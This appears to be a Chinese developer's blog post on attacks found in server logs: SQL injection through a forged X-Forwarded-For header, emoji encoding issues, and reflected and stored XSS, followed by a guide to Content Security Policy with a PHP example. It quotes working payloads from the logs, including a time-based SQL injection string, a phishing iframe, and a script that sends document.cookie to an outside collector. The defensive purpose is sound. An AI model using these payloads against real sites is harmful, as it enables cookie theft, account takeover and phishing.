最近在整理项目组的服务器日志,从海量信息中查找有攻击嫌疑的用户。发现了千奇百怪的攻击手法,不过大部分都是SQL与XSS注入,这里说几个好玩的。
- 伪造HTTP_X_FORWARDED_FOR信息
HTTP_X_FORWARDED_FOR = 127.0.0.1', select(0)from(select(sleep(3)))v', 15.19.86.28
普通情况下我们获取到的IP型如 “\$ip = $_SERVER('HTTP_X_FORWARDED_FOR')” ,直接存入数据库就行。但是如果HTTP_X_FORWARDED_FOR被篡改就会出问题,一是数据库字段超过限制,二是脏数据太多。说严重点会有很大的安全隐患,所以我们在处理IP时务必要先处理后再入库。
该攻击方法正是利用HTTP_X_FORWARDED_FOR的特性来达到攻击行为,HTTP_X_FORWARDED_FOR通过一个逗号+空格把多个IP地址区分开, 最左边是最原始客户端的IP地址, 代理服务器每成功收到一个请求,就把请求来源IP地址添加到右边。 如果这个请求成功通过了三台代理服务器,信息如下:proxy1, proxy2, proxy3,所以最左边的信息都是能自定义的。
- 利用emoji表情存储漏洞
大多情况下我们使用的是utf8编码作为数据库的默认编码,utf8编码一个字符最多支持3个字节。然而一个emoji表情占4个字节,所以用户在修改用户名时使用emoji表情(比如微信昵称)就能利用emoji发起攻击。解决办法有两种,一是将emoji表情做一次encode编码,二是修改数据库编码,将utf8换为utf8mb4。utf8mb4编码最多能支持4个字节,并且向下兼容utf8,也是一种趋势,所以建议修改默认编码为utf8mb4。
以上问题发现后都能及时修复,对症下药确保之后不会发生。最难防的还属XSS漏洞,XSS攻击成本很低,也是很傻瓜的一种攻击方式,不过简单归简单,防御却困难,很难找到万全的办法,下面说说几个明显的攻击实例。
- 反射型XSS,主要通过链接传播。最常见的就是搜索页面,利用搜索内容会直接显示在页面中的特性实现XSS攻击。
url: https://www.*.com/s?wd=/> "<script src=http://xss.tv/sjpSEz>
</script>这是一个搜索功能,我们在搜索内容中加入了远程调用js的代码。如果XSS成功,我们能将该URL在各大平台传播,这就是常见的反射型XSS。我们再看看这个js文件的内容。
top.document.body.innerHTML = "<iframe width=100% height=100% frameborder=0 scrolling=no style=position:absolute;left:0;top:0 src=http://xj.hk/qq.php?qqnum=10010></iframe>";
通过iframe替换原页面,然后加载钓鱼页面,诱导用户输入账号密码。
- 存储型XSS,一种影响较大的XSS,持久化的存储在数据库或者服务器中。最常见的比如评论页面,将XSS攻击代码放在评论中,访问到该页面的人都会受到攻击。
/>"<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/RqTFPGx';>
这是用户提交到留言板的内容,我们在管理后台如果未做XSS过滤,就会执行远程的js文件,将cookie等信息发送到指定的服务器。下面是该远程js的核心代码:
(function() { (new Image()).src = 'http://website.test/index.php?do=api&id=sjpSEz&location=' + escape((function() { try { return document.location.href } catch(e) { return '' } })()) + '&toplocation=' + escape((function() { try { return top.location.href } catch(e) { return '' } })()) + '&cookie=' + escape((function() { try { return document.cookie } catch(e) { return '' } })()) + '&opener=' + escape((function() { try { return (window.opener && window.opener.location.href) ? window.opener.location.href: '' } catch(e) { return '' } })()); })();
XSS恶心的地方是只要攻击者成功了当时就能拿到他想要的所有数据,就算修复了漏洞也不一定起作用。比如cookie信息,拿到cookie之后就相当于拥有了管理员权限,就算你修复了XSS的漏洞别人也还是能通过cookie登录。
XSS太多太难防,有个可行的办法如下。因为XSS都发生在我们的浏览器,所以我们可以利用浏览器的特性CSP(Content Security Policy)去防御大部分XSS,并且能在信息传递到攻击者手中之前做拦截并及时通知到管理员。
下面说说如何设置CSP,首先攻击者可以对我们发起XSS的攻击可能利用到的资源有9类,分别如下:
- script-src 主要防御远程js
- style-src 主要防御远程style
- img-src 主要防御远程图片
- connect-src 主要防御AJAX,WebSocket,EventSource
- font-src 主要防御远程字体URL
- object-src 主要防御 <object>,<embed>,<applet>
- media-src 主要防御<audio>, <video>
- frame-src 已过时
- manifest-src 主要防御manifest文件的加载
其它配置信息:
- default-src 默认包含如下所有文件的防御
- sandbox 设置沙盒环境
- report-uri 发生错误时将详细XSS信息发送到该url
- child-src 主要防御 <frame>,<iframe>
- form-action 主要防御 <form>
- frame-ancestors 主要防御 <frame>,<iframe>,<object>,<embed>,<applet>
- plugin-types 主要防御 <object>,<embed>,<applet>
我们需要根据自己的业务需求选择配置项,比如我配置了如下信息:
Content-security-policy:
img-src 'self' data: http://*.xxx.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' http://tmp.xxx.com;
object-src 'self';
report-uri /test/csp
通过具体的业务,我指定了图片,js文件,视频音乐等资源文件的来源。然后将错误信息发送到 /test/csp。要让代码生效,我们只需要在Header下加入如上信息即可,这里以PHP为例:
header("Content-security-policy:".
"img-src 'self' data: http://*.xxx.com;".
"script-src 'self' 'unsafe-inline' 'unsafe-eval' http://tmp.xxx.com;".
"object-src 'self';"
."report-uri /test/csp");
需要特别注意的信息是Data URI scheme资源,比如:
- data:,文本数据
- data:text/plain,文本数据
- data:text/html,HTML代码
- data:text/css;base64,css代码
- data:text/javascript;base64,javascript代码
- data:image/x-icon;base64,base64编码的icon图片数据
- data:image/gif;base64,base64编码的gif图片数据
- data:image/png;base64,base64编码的png图片数据
- data:image/jpeg;base64,base64编码的jpeg图片数据
针对这类数据我们需要单独设置,比如"img-src 'self' data: ",其中的 “data: ”就是表明允许Data URI scheme图片资源加载,否则会报错。还有很多更深入的玩法,需要自行去挖掘。
通过CSP我们能在XSS漏洞产生不可逆转的影响之前捕获到,能防御大部分的XSS攻击。至于能不能百分百防御,或者在某些场景下能不能绕过我还未深入研究。如果以前是70分,加了CSP能提高到95分,为什么不做呢!
PS: 文章为原创,未通过本人同意不允许转载。